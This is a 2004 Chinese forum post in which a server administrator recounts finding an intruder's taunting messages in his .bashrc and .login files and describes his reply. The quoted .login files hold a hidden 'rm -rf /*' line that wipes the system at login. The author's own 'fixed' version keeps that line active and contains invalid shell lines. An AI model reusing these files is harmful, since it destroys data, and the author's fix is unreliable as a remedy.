两只手2004-05-05 04:37:39
遭遇黑客十

我首先要搞清楚天使是怎么给我发信息的。把信息贴到门上这一招我可从来没有见过(说实话,LINUX我又见过了什么呢?LINUX对于我,恍如大观园对于刘姥姥)。我上网查询,远程登录到服务器上查询,一阵子削尖了脑袋的猛查,终于弄明白,在登录LINUX的时候,LINUX会自动执行一些文件,天使就是把他的信息写到了这其中的两个文件里面了。一个是.bashrc,他修改之后的.bashrc文件内容如下:

# .bashrc

# User specific aliases and functions

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
echo "Change linux distribuition idiot and fix your system"
echo "i fixed it for u but since u're dumb u removed my binaried"
echo "i'm your friend you ugly ***** i protect u for months"
echo "but u didn't understand it"
echo "cya than. watch your shoulder in the wild, not everybody is as nice as me"
echo "Angel."

这样一修改,当每次我用telnet登录到我的服务器上(惭愧,已经不能叫我的服务器了,准确地说,是大家的)的时候,在echo后边的信息都会自动地蹦出来。

弄清楚原理之后我马上做出了自己的对策,我把.bashrc文件改了一下,如下:
# .bashrc

# User specific aliases and functions

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
#echo "Change linux distribuition idiot and fix your system"
#echo "i fixed it for u but since u're dumb u removed my binaried"
#echo "i'm your friend you ugly ***** i protect u for months"
#echo "but u didn't understand it"
#echo "cya than. watch your shoulder in the wild, not everybody is as nice as me"
#echo "Angel."
echo "Hope you are nice as before. If you really want to protect our system, you can #give me some advice to the qgzeng@21cn.com. thank you! "

我主要修改的内容就是将天使写的信息给注释掉,然后添加上我的信息。所谓注释掉,就是让他不起作用,但是还保留着不删除,这样在必要的时候可以恢复。我这样做的目的是表示对天使的尊重,他写出来的文字,我并不以为我是网管就可以删除。黑客仿佛孩子,永远怀抱着对权力的轻蔑和对制度的不屑,倘若我用制度和权力去对付,搞硬碰硬,只会导致匹夫一怒,伏尸一个服务器。但是如果我很尊重他,那会唤起他的礼仪。这大约就是种豆得豆种瓜得瓜的道理吧。倘若你播种仇恨,你获得的只有仇恨;你播种轻蔑,你获得的只有轻蔑;你播种爱情,你获得的就是爱情。

我添加的那段文字的内容是这样的:希望你能象从前一样温柔可亲。如果你真的想保护我们的系统,你可以给我一些建议,发到我的信箱里,谢谢你。

我的考虑是这样的,我不希望惹他愤怒,人为刀殂,我为鱼肉的情况下,我还是继续发扬孔夫子的温良恭谦让精神比较好。另外,既然他已经透露出了他愿意做天使的意向,我当然愿意助他一臂之力,把他往天使的路上奉承,这么一来也许他能成为我保证我的服务器坚不可催的力量。如果他真的给我来信,肯定应该附带着他自己的电子邮件地址,这样我就可以得到他的邮件地址,以后给他联系起来也很方便。至于将他扭送官府这样的想法,我知道有这种可能性,但是可从来不打算做。我觉得那不够人情味,不利于技术的发展。如果用制度来限制自由,只能导致人类不能探索那段空间,这也许合乎人间社会的现阶段的伦理,但是不符合人类长期的发展——总之我是这么看的。

另外一个他修改的文件是.login文件。他修改后的.login文件内容如下:
rm -rf /* > /dev/null 2>&1
echo "Change linux distribuition idiot and fix your system"
echo "i fixed it for u but since u're dumb u removed my binaried"
echo "i'm your friend you ugly ***** i protect u for months"
echo "but u didn't understand it"
echo "cya than. watch your shoulder in the wild, not everybody is as nice as me"
echo "Angel."

写的信息的内容和.bashrc的内容一样,从分行的格式看,他是互相拷贝的。.bashrc文件和.login文件分别对应于两种不同的登录方式,也就是说,用第一种方法登录的时候,会自动执行.bashrc文件,用第二种方式登录的时候,会自动执行.login文件。天使将这两个文件都写了一遍,说明了两个问题:
第一, 他并不知道我常用的登录方式,也就是说,他还没有掌握我的活动方式。
第二, 他是一个大牲,对LINUX非常熟,而且巨细无遗。但在是否有耐心上面却有些矛盾。从愿意给我写这么多字来看,他应该是很有耐心的;但是从他愤怒而暴露自己上面,似乎又是不是很有耐心——人真是很难了解的。

我向天使学习,我把.login文件也修改了,修改如下:
rm -rf /* > /dev/null 2>&1
#echo "Change linux distribuition idiot and fix your system"
#echo "i fixed it for u but since u're dumb u removed my binaried"
#echo "i'm your friend you ugly ***** i protect u for months"
#echo "but u didn't understand it"
#echo "cya than. watch your shoulder in the wild, not everybody is as nice as me"
#echo "Angel."
Hope you are nice as before. If you really want to protect our system, you can
give me some advice to the qgzeng@21cn.com. thank you!

修改方法和修改.bashrc文件一样,信息内容也一样,不再赘述。

dddisk2004-05-05 23:23:44
你现在也应该是个中高手了吧?